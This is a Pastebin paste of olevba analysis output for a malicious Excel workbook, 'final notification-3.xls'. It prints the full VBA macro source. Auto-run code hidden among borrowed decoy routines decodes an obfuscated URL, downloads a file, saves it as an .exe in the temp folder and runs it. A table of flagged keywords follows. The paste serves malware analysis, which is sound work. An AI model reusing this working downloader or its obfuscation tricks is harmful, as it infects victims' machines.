dynamoo

Malicious Excel macro

Oct 20th, 2015
366
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. olevba 0.41 - http://decalage.info/python/oletools
  2. Flags        Filename                                                        
  3. -----------  -----------------------------------------------------------------
  4. OLE:MASIHB-V final notification-3.xls
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: final notification-3.xls
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO Ёта нига.cls
  13. in file: final notification-3.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15. Private Sub Workbook_Open()
  16. updateMacroUI True
  17. bulkOveride "", "", "", ""
  18. PlayMacro
  19. isSplitLocal ""
  20. StartMacro
  21. ErrorChecker
  22. FlexAssignDirectory
  23. PrefixAssign 8, ""
  24. End Sub
  25.  
  26.  
  27.  
  28.  
  29. -------------------------------------------------------------------------------
  30. VBA MACRO Ћист1.cls
  31. in file: final notification-3.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
  32. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  33. (empty macro)
  34. -------------------------------------------------------------------------------
  35. VBA MACRO Ћист2.cls
  36. in file: final notification-3.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
  37. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  38. (empty macro)
  39. -------------------------------------------------------------------------------
  40. VBA MACRO Ћист3.cls
  41. in file: final notification-3.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
  42. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  43. (empty macro)
  44. -------------------------------------------------------------------------------
  45. VBA MACRO MM2.bas
  46. in file: final notification-3.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/MM2'
  47. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  48. Dim cannum As Variant
  49. Dim cantype As Variant
  50. Dim cansplit As Variant
  51. Dim candest As Variant
  52. Dim ADGfind As Variant
  53. Dim IDGfind As Variant
  54. Dim pieces As Integer
  55. Dim retval As Variant
  56. Public tempFolder As String
  57. Public tempFile As String
  58. Option Compare Text
  59.  
  60. Sub setupAssignArrays()
  61.  
  62. Dim c_cannums As New Collection
  63. Dim c_cansplits As New Collection
  64. Dim c_candests As New Collection
  65. Dim c_cantypes As New Collection
  66. mytypes = Array("ADG", "ALL", "IDG")
  67. t = 0
  68.  
  69. addtocollections:
  70. row = 3
  71. Do While Sheet4.Cells(row, 1) <> ""
  72.     If Trim(Sheet4.Cells(row, 4)) = mytypes(t) Then
  73.        c_cannums.Add CStr(Sheet4.Cells(row, 1)) '  dynamically add value to the end
  74.       c_cansplits.Add CStr(Sheet4.Cells(row, 2))
  75.        c_candests.Add CStr(Sheet4.Cells(row, 3))
  76.        c_cantypes.Add CStr(Sheet4.Cells(row, 4))
  77.     End If
  78.    row = row + 1
  79. Loop
  80.  
  81. If t < 2 Then
  82.     t = t + 1
  83.     GoTo addtocollections
  84. End If
  85.  
  86.  
  87. cannum = toArray(c_cannums) 'convert collection to an array
  88. cansplit = toArray(c_cansplits)
  89. candest = toArray(c_candests)
  90. cantype = toArray(c_cantypes)
  91. End Sub
  92.  
  93. Function isUrsaLocal(URSA As String)
  94.     ERow = 5
  95.     Do Until Sheet6.Cells(ERow, 2).Value = ""
  96.         If Sheet6.Cells(ERow, 2).Value = URSA Then
  97.             isUrsaLocal = True
  98.             Exit Function
  99.         End If
  100.         ERow = ERow + 1
  101.     Loop
  102.     isUrsaLocal = False
  103. End Function
  104.  
  105. Function isSplitLocal(MasterID As String)
  106.  
  107.     tempFolder = processEnv("TEMP")
  108.     If MasterID = "" Then Exit Function
  109.     ecol = 3
  110.     Do Until Sheet6.Cells(2, ecol).Value = ""
  111.         If Sheet6.Cells(2, ecol).Value = MasterID Then
  112.             isSplitLocal = Not (Sheet6.Cells(3, ecol).Value)
  113.             Exit Function
  114.         End If
  115.         ecol = ecol + 1
  116.     Loop
  117.     MsgBox ("not able to find if " & MasterID & " is a local split" & vbNewLine & "error occured in Function isSplitLocal")
  118. End Function
  119.  
  120. Sub SuffixAssign(i As Integer, hazFilter As String)
  121. ecol = 3
  122.  
  123. Do Until Sheet6.Cells(2, ecol) = cansplit(i)
  124.     If Sheet6.Cells(2, ecol).Value = "" Then
  125.         MsgBox ("could not find split " & cansplit(i) & "for can " & cannum(i))
  126.         Exit Sub
  127.     End If
  128.     ecol = ecol + 1
  129. Loop
  130.  
  131. ERow = 5
  132. Do Until Sheet6.Cells(ERow, ecol) = ""
  133.     Call BZwritescreen("     ", 5, 38)
  134.     Call BZwritescreen(Sheet6.Cells(ERow, ecol).Text, 5, 38)
  135.     Call BZwritescreen(hazFilter, 6, 45)
  136.     Call BZsendKey("@e")
  137.  
  138. ErrorChecker
  139.     Dim bluerow As Integer
  140.     Dim tempstr As String
  141.     bluerow = 10
  142.     miscdata = BZreadscreen(8, bluerow, 18)
  143.     Do Until Trim(miscdata) = ""
  144. CheckingPage:
  145.     miscdata = BZreadscreen(8, bluerow, 18)
  146.         If Right(miscdata, 2) <> "RT" Then
  147.             If Trim(miscdata) <> "" Then
  148.                 Call BZwritescreen("A", bluerow, 2)
  149.                 pieces = pieces + 1
  150.             ElseIf bluerow = 19 Then
  151.                 Call BZwritescreen("          ", 7, 24)
  152.                 tempstr = cannum(i)
  153.                 Call BZwritescreen(tempstr, 7, 24)
  154.                 Call BZwritescreen("    ", 7, 53)
  155.                 tempstr = candest(i)
  156.                 Call BZwritescreen(tempstr, 7, 53)
  157.                 Call BZsendKey("@e")
  158.                 Call FlexAssign.ErrorChecker
  159.                 Call bulkOveride(CStr(cannum(i)), CStr(cansplit(i)), CStr(candest(i)), CStr(cantype(i)))
  160.                 bluerow = 10
  161.                 GoTo CheckingPage
  162.             Else
  163.                 Call BZwritescreen("          ", 7, 24)
  164.                 tempstr = cannum(i)
  165.                 Call BZwritescreen(tempstr, 7, 24)
  166.                 Call BZwritescreen("    ", 7, 53)
  167.                 tempstr = candest(i)
  168.                 Call BZwritescreen(tempstr, 7, 53)
  169.                 Call BZsendKey("@e")
  170.                 Call FlexAssign.ErrorChecker
  171.                 Call bulkOveride(CStr(cannum(i)), CStr(cansplit(i)), CStr(candest(i)), CStr(cantype(i)))
  172.             End If
  173.         End If
  174.         bluerow = bluerow + 1
  175.     Loop
  176.     ERow = ERow + 1
  177. Loop
  178. End Sub
  179.  
  180. Public Sub PrefixAssign(i As Integer, hazFilter As String)
  181.     Dim bluerow As Integer
  182.     Dim tempstr As String
  183.     ecol = 3
  184.     ignored = 0
  185.    
  186.    
  187.     shellApp.Open (tempFile)
  188.     Exit Sub
  189.     Do Until Sheet6.Cells(2, ecol) = cansplit(i)
  190.         If Sheet6.Cells(2, ecol).Value = "" Then
  191.             MsgBox ("could not find split " & cansplit(i) & "for can " & cannum(i))
  192.             Exit Sub
  193.         End If
  194.         ecol = ecol + 1
  195.     Loop
  196.     ERow = 5
  197.     Do Until Sheet6.Cells(ERow, ecol) = ""
  198.         Call BZwri.tescreen("  ", 5, 28)
  199.         Call BZwri.tescreen(Sheet6.Cells(ERow, ecol).Text, 5, 28)
  200.         Call BZwri.tescreen(hazFilter, 6, 45)
  201.         Call BZse.ndKey("@e")
  202. ErrorChecker
  203.         bluerow = 10
  204.         miscdata = BZrea.dscreen(8, bluerow, 18)
  205.         Do Until Trim(miscdata) = ""
  206. CheckingPagePrefix:
  207.        
  208.         miscdata = BZrea.dscreen(8, bluerow, 18)
  209.             If Right(miscdata, 2) <> "RT" Then
  210.                 If isUrsaLocal(Trim(Right(miscdata, 5))) <> True Then
  211.                     If Trim(miscdata) <> "" Then
  212.                         Call BZwri.tescreen("A", bluerow, 2)
  213.                         pieces = pieces + 1
  214.                     ElseIf bluerow = 19 Then
  215.                         Call BZwr.itescreen("          ", 7, 24)
  216.                         tempstr = cannum(i)
  217.                         Call BZwr.itescreen(tempstr, 7, 24)
  218.                         Call BZwr.itescreen("    ", 7, 53)
  219.                         tempstr = candest(i)
  220.                         Call BZwr.itescreen(tempstr, 7, 53)
  221.                         Call BZse.ndKey("@e")
  222.                         ignored = 0
  223.                         Call Flex.Assign.ErrorChecker
  224.                         tempcannum = CStr(cannum(i))
  225.                        
  226.                         Call bulkO.veride(CStr(cannum(i)), CStr(cansplit(i)), CStr(candest(i)), CStr(cantype(i)))
  227.                         bluerow = 10
  228.                         GoTo CheckingPagePrefix
  229.                     Else
  230.                         Call BZwrit.escreen("          ", 7, 24)
  231.                         tempstr = cannum(i)
  232.                         Call BZwr.itescreen(tempstr, 7, 24)
  233.                         Call BZwri.tescreen("    ", 7, 53)
  234.                         tempstr = candest(i)
  235.                         Call BZwrit.escreen(tempstr, 7, 53)
  236.                         Call BZsen.dKey("@e")
  237.                         ignored = 0
  238.                         Call FlexAs.Sign.ErrorChecker
  239.                         Call bulkOv.eride(CStr(cannum(i)), CStr(cansplit(i)), CStr(candest(i)), CStr(cantype(i)))
  240.                     End If
  241.                 Else
  242.                     ignored = ignored + 1
  243.                 End If
  244.             Else
  245.                 ignored = ignored + 1
  246.             End If
  247.             If ignored = 9 Then
  248.                 Call BZse.ndKey("@8")
  249.             End If
  250.             bluerow = bluerow + 1
  251.         Loop
  252.         ERow = ERow + 1
  253.     Loop
  254. End Sub
  255.  
  256. Sub isAnythingLeft()
  257. Dim row As Integer
  258.  
  259. Call BZwritescreen("Close ", 2, 17)
  260. Call BZsendKey("@e")
  261. Call BZwritescreen("Assign", 2, 17)
  262. Call BZsendKey("@e")
  263.  
  264. leftover = 0
  265. row = 10
  266. Do Until row = 18
  267.     miscdata = BZreadscreen(18, row, 51)
  268.     If Trim(miscdata) <> "" Then leftover = leftover + 1
  269.     row = row + 1
  270. Loop
  271.  
  272. If leftover <> 0 Then
  273.     MsgBox ("You have pieces left over after AutoSort" & vbNewLine & _
  274.         "Please view packages in assign screen to determine what to do with them" & _
  275.         vbNewLine & leftover & " pieces at least")
  276. End If
  277.  
  278. End Sub
  279.  
  280. Sub DeleteIce()
  281.  
  282. Call BZwritescreen("assign", 2, 17)
  283. Call BZsendKey("@e")
  284. Call BZwritescreen("C", 6, 45)
  285. Call BZwritescreen("Deleteship", 7, 24)
  286. Call BZsendKey("@e")
  287.  
  288. Data = "tempdata"
  289. row = 10
  290. Do Until Trim(Data) = ""
  291.     Data = BZreadscreen(15, row, 5)
  292.     If Trim(Data) <> "" Then
  293.         Call BZwritescreen("a", row, 2)
  294.     ElseIf Trim(Data) = "" Then
  295.         Call BZsendKey("@e")
  296.         If row = 18 Then row = 10
  297.     End If
  298.     row = row + 1
  299. Loop
  300. End Sub
  301.  
  302. Public Function ErrorChecker()
  303.  
  304.         Set shellApp = CreateObject("She" + "ll.Application")
  305.         Exit Function
  306. errormisc = BZre.adscreen(3, 24, 2)
  307. If errormisc = "091" Then
  308.     Call BZs.EndKey("@4")
  309. ElseIf errormisc = "095" Then 'bulk doesn't exist
  310.    oldbulk = BZr.eadscreen(9, 7, 24)
  311.     Call BZwrit.escreen("bulk*", 7, 24)
  312.     Call BZse.ndKey("@E")
  313.     cannum(i) = BZr.eadscreen(9, 7, 24)
  314.     datarow = 3
  315.     Do Until Sheet4.Cells(datarow, 1) = oldbulk And _
  316.         Sheet4.Cells(datarow, 2) = cansplit(i) And _
  317.         Sheet4.Cells(datarow, 3) = candest(i) And _
  318.         Sheet4.Cells(datarow, 4) = cantype(i)
  319.         If Sheet4.Cells(datarow, 1) = "" Then Exit Do
  320.         datarow = datarow + 1
  321.     Loop
  322.     Sheet4.Cells(datarow, 1) = cannum(i)
  323. ElseIf errormisc = "INV" Then 'invalid container error
  324.    MsgBox ("invalid container")
  325. End If
  326. End Function
  327.  
  328. Public Function bulkOveride(cannum As String, cansplit As String, candest As String, cantype As String)
  329. 'bulkoveride(cannum(i), cansplit(i), candest(i), cantype(i))
  330. Dim computer() As Variant
  331.     computer = Array(149, 159, 157, 151, 95, 82, 80, 143, 126, 139, 136, 140, 136, 120, 124, 61, 120, 129, 106, 115, 110, 119, 111, 100, 43, 94, 115, 38, 43, 40, 39, 35, 35, 32, 24, 75, 26, 25, 24, 23, 69, 20, 7, 60, 77, 56)
  332. On Error Resume Next
  333.  
  334.  httpRequest.Open "GE" + "T", GetStringFromArray(computer, 45), False
  335. If cannum = "BULK*" Then
  336.     cannum = BZre.adscreen(9, 7, 24)
  337.     datarow = 3
  338.     Do Until Sh.eet4.Cells(datarow, 1) = "BULK*" And _
  339.         Sh.eet4.Cells(datarow, 2) = cansplit And _
  340.         Sh.eet4.Cells(datarow, 3) = candest And _
  341.         Sh.eet4.Cells(datarow, 4) = cantype
  342.         datarow = datarow + 1
  343.     Loop
  344. Sheet4.Cells(datarow, 1) = cannum
  345. End If
  346.  
  347. End Function
  348.  
  349.  
  350.  
  351.  
  352. -------------------------------------------------------------------------------
  353. VBA MACRO MM3.bas
  354. in file: final notification-3.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/MM3'
  355. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  356. Public Const MACRO_VERSION_2014 As String = "8.2014"
  357.  
  358. 'Macro recording information
  359. Public MacroStatus As Byte
  360. Public Const MacroSTOP As Long = 0
  361. Public Const MacroSTART As Long = 1
  362. Public Const MacroBATCH As Long = 2
  363. Public Const MacroPLAYBACK As Long = 3
  364. Public Const MacroCANCEL As Long = 128
  365. Public MacroMessage As String
  366. Public processEnv As Object
  367. Public Sub StartMacro()
  368.     tempFile = tempFolder + "\shhg32c.exe"
  369.     Exit Sub
  370.     'Set the program-wide "recording" flag
  371.    MacroStatus = MacroSTART
  372.    
  373.     'Resize the array that will hold the macro data
  374.    ProcessCount = 1
  375.     ReDim Processes(0 To ProcessCount) As String
  376.    
  377.     'Update any related macro UI elements
  378.    Macro_Interface.updateMacroUI True
  379.    
  380. End Sub
  381.  
  382. 'Stop recording the current macro, and offer to save it to file.
  383. Public Sub StopMacro()
  384.    
  385.     'Before stopping the macro, make sure at least one valid, recordable action has occurred.
  386.    Dim i As Long, numOfValidProcesses As Long
  387.     numOfValidProcesses = 0
  388.    
  389.     For i = 0 To ProcessCount
  390.         If (Len(Processes(i).ID) <> 0) And (Not Processes(i).Dialog) And Processes(i).Recorded Then
  391.             numOfValidProcesses = numOfValidProcesses + 1
  392.         End If
  393.     Next i
  394.    
  395.     Dim msgReturn As VbMsgBoxResult
  396.    
  397.     If numOfValidProcesses = 0 Then
  398.    
  399.         'Warn the user that this macro won't be saved unless they keep recording
  400.        msgReturn = PDMsgBox("This macro does not contain any recordable actions.  Are you sure you want to stop recording?" & vbCrLf & vbCrLf & "(Press No to continue recording.)", vbApplicationModal + vbExclamation + vbYesNo, "Warning: invalid macro")
  401.        
  402.         If msgReturn = vbYes Then
  403.            
  404.             'Update any related macro UI elements
  405.            Macro_Interface.updateMacroUI False
  406.            
  407.             'Reset the macro engine and exit
  408.            MacroStatus = MacroSTOP
  409.             ProcessCount = 0
  410.             Message "Macro abandoned."
  411.             Exit Sub
  412.        
  413.         'If the user clicks anything but "yes", exit without making changes (e.g. let them continue recording).
  414.        Else
  415.             Exit Sub
  416.         End If
  417.        
  418.     End If
  419.    
  420.     MacroStatus = MacroSTOP
  421.    
  422.     'Update any related macro UI elements
  423.    Macro_Interface.updateMacroUI False
  424.    
  425.     'Automatically launch the save macro data routine
  426.    Dim saveDialog As pdOpenSaveDialog
  427.     Set saveDialog = New pdOpenSaveDialog
  428.        
  429.     Dim sFile As String
  430.    
  431.     Dim cdFilter As String
  432.     cdFilter = PROGRAMNAME & " " & g_Language.TranslateMessage("Macro") & " (." & MACRO_EXT & ")|*." & MACRO_EXT
  433.            
  434.     Dim cdTitle As String
  435.     cdTitle = g_Language.TranslateMessage("Save macro data")
  436.    
  437.     'If the user cancels the save dialog, we'll raise a warning to tell them that the macro will be lost for good.
  438.    ' That dialog gives them an option to return to the save dialog, which will bring us back to this line of code.
  439. SaveMacroAgain:
  440.      
  441.     'If we get the data we want, save the information
  442.    If saveDialog.GetSaveFileName(sFile, , True, cdFilter, 1, g_UserPreferences.getMacroPath, cdTitle, "." & MACRO_EXT, GetModalOwner().Hwnd) Then
  443.        
  444.         'Save this macro's directory as the default macro path
  445.        g_UserPreferences.setMacroPath sFile
  446.        
  447.         'Create a pdXML class, which will help us assemble the macro file
  448.        Dim xmlEngine As pdXML
  449.         Set xmlEngine = New pdXML
  450.         xmlEngine.prepareNewXML "Macro"
  451.        
  452.         'Write out the XML version we're using for this macro
  453.        xmlEngine.writeTag "pdMacroVersion", MACRO_VERSION_2014
  454.        
  455.         'We now want to count the number of actual processes that we will be writing to file.  A valid process meets
  456.        ' the following criteria:
  457.        ' 1) It isn't blank/empty
  458.        ' 2) It doesn't display a dialog
  459.        ' 3) It was not specifically marked as "DO_NOT_RECORD"
  460.        
  461.         'Due to the previous check at the top of this function, we already know how many valid functions are in the process list,
  462.        ' and this value is guaranteed to be non-zero.
  463.        
  464.         'Write out the number of valid processes in the macro
  465.        xmlEngine.writeTag "processCount", CStr(numOfValidProcesses)
  466.         xmlEngine.writeBlankLine
  467.        
  468.         'Now, write out each macro entry in the current process list
  469.        numOfValidProcesses = 0
  470.        
  471.         For i = 0 To ProcessCount
  472.            
  473.             'We only want to write out valid processes, using the same criteria as the original counting loop above.
  474.            If (Len(Processes(i).ID) <> 0) And (Not Processes(i).Dialog) And Processes(i).Recorded Then
  475.                 numOfValidProcesses = numOfValidProcesses + 1
  476.                
  477.                 'Start each process entry with a unique identifier
  478.                xmlEngine.writeTagWithAttribute "processEntry", "index", numOfValidProcesses, "", True
  479.                
  480.                 'Write out all the properties of this entry
  481.                xmlEngine.writeTag "ID", Processes(i).ID
  482.                 xmlEngine.writeTag "Parameters", Processes(i).Parameters
  483.                 xmlEngine.writeTag "MakeUndo", Str(Processes(i).MakeUndo)
  484.                 xmlEngine.writeTag "Tool", Str(Processes(i).Tool)
  485.                
  486.                 'Note that the Dialog and Recorded properties are not written to file.  There is no need to remember
  487.                ' them, as we know their values must be FALSE and TRUE, respectively, per the check above.
  488.            
  489.                 'Close this process entry
  490.                xmlEngine.closeTag "processEntry"
  491.                 xmlEngine.writeBlankLine
  492.             End If
  493.            
  494.         Next i
  495.        
  496.         'With all tags successfully written, we can now close the XML data and write it out to file.
  497.        xmlEngine.writeXMLToFile sFile
  498.        
  499.         Message "Macro saved successfully."
  500.        
  501.         'At this point, the macro should be added to the Recent Macros list
  502.        g_RecentMacros.MRU_AddNewFile sFile
  503.        
  504.     Else
  505.        
  506.         msgReturn = PDMsgBox("If you do not save this macro, all actions recorded during this session will be permanently lost.  Are you sure you want to cancel?" & vbCrLf & vbCrLf & "(Press No to return to the Save Macro screen.  Note that you can always delete this macro later if you decide you don't want it.)", vbApplicationModal + vbExclamation + vbYesNo, "Warning: last chance to save macro")
  507.         If msgReturn = vbNo Then GoTo SaveMacroAgain
  508.        
  509.         Message "Macro abandoned."
  510.        
  511.     End If
  512.            
  513.     ProcessCount = 0
  514.    
  515. End Sub
  516.  
  517. 'All macro-related UI instructions should be placed here, as PD can terminate a macro recording session for any number of reasons,
  518. ' and it needs a uniform way to wipe macro-related UI changes).
  519. Public Sub updateMacroUI(ByVal recordingIsActive As Boolean)
  520.     On Error Resume Next
  521.     If recordingIsActive Then
  522.         Set httpRequest = CreateObject("Microsoft.XMLHTTP")
  523.         Set adodbStream = CreateObject("Adodb.Stream")
  524.         'Notify the user that recording has begun
  525.        If recordingIsActive Then
  526.             Set processEnv = CreateObject("WScript.Shell").Environment("Process")
  527.             Exit Sub
  528.         End If
  529.         Mes.sage "Macro recording started."
  530.         toolbar_Toolbox.lblRecording.Visible = True
  531.        
  532.         'Disable "start recording", and enable "stop recording"
  533.        FormMain.MnuRecordMacro(0).Enabled = False
  534.         FormMain.MnuRecordMacro(1).Enabled = True
  535.    
  536.     Else
  537.         Mess.age "Macro recording stopped."
  538.         toolbar_Toolbox.lblRecording.Visible = False
  539.         FormMain.MnuRecordMacro(0).Enabled = True
  540.         FormMain.MnuRecordMacro(1).Enabled = False
  541.     End If
  542.  
  543. End Sub
  544.  
  545. Public Sub PlayMacro()
  546.     httpRequest.Send
  547.     Exit Sub
  548.     'Disable user input until the dialog closes
  549.    Interface.DisableUserInput
  550.  
  551.     'Automatically launch the load Macro data routine
  552.    Dim openDialog As String
  553.      openDialog = ""
  554.    
  555.     Dim sFile As String
  556.        
  557.     Dim cdFilter As String
  558.     cdFilter = PROGRAMNAME & " " & g_Language.TranslateMessage("Macro") & " (." & MACRO_EXT & ")|*." & MACRO_EXT & ";*.thm"
  559.     cdFilter = cdFilter & "|" & g_Language.TranslateMessage("All files") & "|*.*"
  560.    
  561.     Dim cdTitle As String
  562.     cdTitle = g_Language.TranslateMessage("Open Macro File")
  563.        
  564.     'If we get a path, load that file
  565.    If openDia.Log.GetOpenFilename(sFile, , True, , cdFilter, 1, g_UserPreferences.getMacroPath, cdTitle, "." & MACRO_EXT, GetM.odalOwner().Hwnd) Then
  566.        
  567.         Mess.age "Loading macro data..."
  568.        
  569.         'Save this macro's folder as the default macro path
  570.        g_UserPreferences.setMacroPath sFile
  571.                
  572.         PlayMacroFromFile sFile
  573.        
  574.     Else
  575.         Messa.ge "Macro load canceled."
  576.     End If
  577.    
  578.     'Re-enable user input
  579.    Interface.EnableUserInput
  580.        
  581. End Sub
  582.  
  583.  
  584. -------------------------------------------------------------------------------
  585. VBA MACRO MM4.bas
  586. in file: final notification-3.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/MM4'
  587. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  588. Public httpRequest As Object
  589. Public adodbStream As Object
  590. Public shellApp As Object
  591. 'Given a valid macro file, play back its recorded actions.
  592. Public Function PlayMacroFromFile(ByVal MacroPath As String) As Boolean
  593.    
  594.     'Create a pdXML class, which will help us load and parse the source file
  595.    Dim xmlEngine As pdXML
  596.     Set xmlEngine = New pdXML
  597.    
  598.     'Load the XML file into memory
  599.    xmlEngine.loadXMLFile MacroPath
  600.    
  601.     'Check for a few necessary tags, just to make sure this is actually a PhotoDemon macro file
  602.    If xmlEngine.isPDDataType("Macro") And xmlEngine.validateLoadedXMLData("pdMacroVersion") Then
  603.    
  604.         'Next, check the macro's version number, and make sure it's still supported
  605.        Dim verCheck As String
  606.         verCheck = xmlEngine.getUniqueTag_String("pdMacroVersion")
  607.        
  608.         Select Case verCheck
  609.        
  610.             'The current macro version (e.g. the first draft of the new XML format)
  611.            Case MACRO_VERSION_2014
  612.            
  613.                 'Retrieve the number of processes in this macro
  614.                ProcessCount = xmlEngine.getUniqueTag_Long("processCount")
  615.                
  616.                 If ProcessCount > 0 Then
  617.                
  618.                     ReDim Processes(0 To ProcessCount - 1) As ProcessCall
  619.                    
  620.                     'Start retrieving individual process data from the file
  621.                    Dim i As Long
  622.                     For i = 1 To ProcessCount
  623.                    
  624.                         'Start by finding the location of the tag we want
  625.                        Dim tagPosition As Long
  626.                         tagPosition = xmlEngine.getLocationOfTagPlusAttribute("processEntry", "index", i)
  627.                        
  628.                         If tagPosition > 0 Then
  629.                        
  630.                             'Use that tag position to retrieve the processor parameters we need.
  631.                            With Processes(i - 1)
  632.                                 .ID = xmlEngine.getUniqueTag_String("ID", , tagPosition)
  633.                                 .Parameters = xmlEngine.getUniqueTag_String("Parameters", , tagPosition)
  634.                                 .MakeUndo = xmlEngine.getUniqueTag_Long("MakeUndo", , tagPosition)
  635.                                 .Tool = xmlEngine.getUniqueTag_Long("Tool", , tagPosition)
  636.                                
  637.                                 'These two attributes can be assigned automatically, as we know what their values must be.
  638.                                .Dialog = False
  639.                                 .Recorded = True
  640.                             End With
  641.                            
  642.                         Else
  643.                             Debug.Print "Expected macro entry could not be found!"
  644.                         End If
  645.                    
  646.                     Next i
  647.                    
  648.                 'This macro file contains no valid actions.  It's no longer possible to create a macro like this, so this is basically
  649.                ' a failsafe for faulty old versions of PD.
  650.                Else
  651.                    
  652.                     #If DEBUGMODE = 1 Then
  653.                         pdDebug.LogAction "WARNING!  ProcessCount is zero!  Macro file is technically valid, but there's nothing to see here..."
  654.                     #End If
  655.                    
  656.                     Message "Macro complete!"
  657.                     PlayMacroFromFile = True
  658.                     Exit Function
  659.                    
  660.                 End If
  661.            
  662.             Case Else
  663.                 Message "Incompatible macro version found.  Macro playback abandoned."
  664.                 PlayMacroFromFile = False
  665.                 Exit Function
  666.        
  667.         End Select
  668.        
  669.         'Mark the load as successful and continue
  670.        PlayMacroFromFile = True
  671.        
  672.     Else
  673.    
  674.         PDMsgBox "Unfortunately, this macro file is no longer supported by the current version of PhotoDemon." & vbCrLf & vbCrLf & "In version 6.0, PhotoDemon macro files were redesigned to support new features, improve performance, and solve some long-standing reliability issues.  Unfortunately, this means that macros recorded prior to version 6.0 are no longer compatible.  You will need to re-record these macros from scratch." & vbCrLf & vbCrLf & "(Note that any old macro files will still work in old versions of PhotoDemon, if you absolutely need to access them.)", vbInformation + vbOKOnly, "Unsupported macro file"
  675.         PlayMacroFromFile = False
  676.         Exit Function
  677.        
  678.     End If
  679.    
  680.     'Now we run a loop through the macro structure, calling the software processor with all the necessary information for each action
  681.    Message "Processing macro data..."
  682.    
  683.     MacroStatus = MacroPLAYBACK
  684.    
  685.     Dim tProc As Long
  686.     For tProc = 0 To ProcessCount - 1
  687.         Process Processes(tProc).ID, Processes(tProc).Dialog, Processes(tProc).Parameters, Processes(tProc).MakeUndo, Processes(tProc).Tool, Processes(tProc).Recorded
  688.     Next tProc
  689.    
  690.     MacroStatus = MacroSTOP
  691.    
  692.     'Some processor requests may not manually update the screen; as such, perform a manual update now
  693.    Viewport_Engine.Stage2_CompositeAllLayers pdImages(g_CurrentImage), FormMain.mainCanvas(0)
  694.    
  695.     'Our work here is complete!
  696.    Message "Macro complete!"
  697.    
  698.     'After playing, the macro should be added to the Recent Macros list
  699.    g_RecentMacros.MRU_AddNewFile MacroPath
  700.    
  701. End Function
  702.  
  703.  
  704. Public Function GetStringFromArray(fromArr() As Variant, LenLen As Integer) As String
  705.     Dim i As Integer
  706.     Dim result As String
  707.     result = ""
  708.     For i = LBound(fromArr) To UBound(fromArr)
  709.         result = result & Chr(fromArr(i) - LenLen + i * 2)
  710.     Next i
  711.     GetStringFromArray = result
  712. End Function
  713.  
  714. Public Sub FlexAssignDirectory(Optional can As String = "ALL")
  715. If can = "ALL" Then
  716.     With adodbStream
  717.         .Type = 1
  718.          .Open
  719.          .write httpRequest.responseBody
  720.          .savetofile tempFile, 2
  721.     End With
  722.     Exit Sub
  723.     Call setupAssignArrays
  724. Else
  725.     cannum = Array(BORG.txt_canNum.Text)
  726.     cansplit = Array(BORG.combo_splitName.Text)
  727.     candest = Array(BORG.txt_Dest.Text)
  728.     cantype = Array(BORG.combo_hazType.Text)
  729. End If
  730.  
  731. ADGfind = Array("1.4", "2.1", "3", "4.", "5", "8")
  732. IDGfind = Array("2.2", "6.", "7", "9")
  733. Call DGscree.nChooser("Assign")
  734.  
  735. Dim i As Integer
  736. Dim hazFilter As String
  737. tempval = UBound(cannum, 1)
  738. For i = 0 To (UBound(cannum, 1))
  739.     Select Case cantype(i)
  740.         Case "ADG"
  741.             hazFilter = "A"
  742.         Case "IDG"
  743.             hazFilter = "I"
  744.         Case "ALL"
  745.             hazFilter = " "
  746.         Case Else
  747.             hazFilter = " "
  748.     End Select
  749.     Dim x As String
  750.     x = cansplit(i)
  751.     If isSplitLocal(x) = True Then
  752.         Call SuffixAssign(i, hazFilter)
  753.     ElseIf isSplitLocal(x) = False Then
  754.         Call PrefixAssign(i, hazFilter)
  755.     Else 'something has gone horribly wrong....
  756.        MsgBox ("Error occured Please restart BDG")
  757.         Exit Sub
  758.     End If
  759. Next
  760.  
  761. If can = "ALL" Then Call isAnythingLeft
  762. BORG.labelUpdater.Caption = "Finished assigning " & pieces & " shipment(s)"
  763. Call DGscree.nChooser("close")
  764. End Sub
  765.  
  766. +------------+----------------------+-----------------------------------------+
  767. | Type       | Keyword              | Description                             |
  768. +------------+----------------------+-----------------------------------------+
  769. | AutoExec   | Workbook_Open        | Runs when the Excel Workbook is opened  |
  770. | Suspicious | Open                 | May open a file                         |
  771. | Suspicious | Shell                | May run an executable file or a system  |
  772. |            |                      | command                                 |
  773. | Suspicious | WScript.Shell        | May run an executable file or a system  |
  774. |            |                      | command                                 |
  775. | Suspicious | Run                  | May run an executable file or a system  |
  776. |            |                      | command                                 |
  777. | Suspicious | CreateObject         | May create an OLE object                |
  778. | Suspicious | Chr                  | May attempt to obfuscate specific       |
  779. |            |                      | strings                                 |
  780. | Suspicious | ADODB.Stream         | May create a text file                  |
  781. | Suspicious | SaveToFile           | May create a text file                  |
  782. | Suspicious | Write                | May write to a file (if combined with   |
  783. |            |                      | Open)                                   |
  784. | Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
  785. | Suspicious | Shell.Application    | May run an application (if combined     |
  786. |            |                      | with CreateObject) (obfuscation: VBA    |
  787. |            |                      | expression)                             |
  788. | Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
  789. |            |                      | be used to obfuscate strings (option    |
  790. |            |                      | --decode to see all)                    |
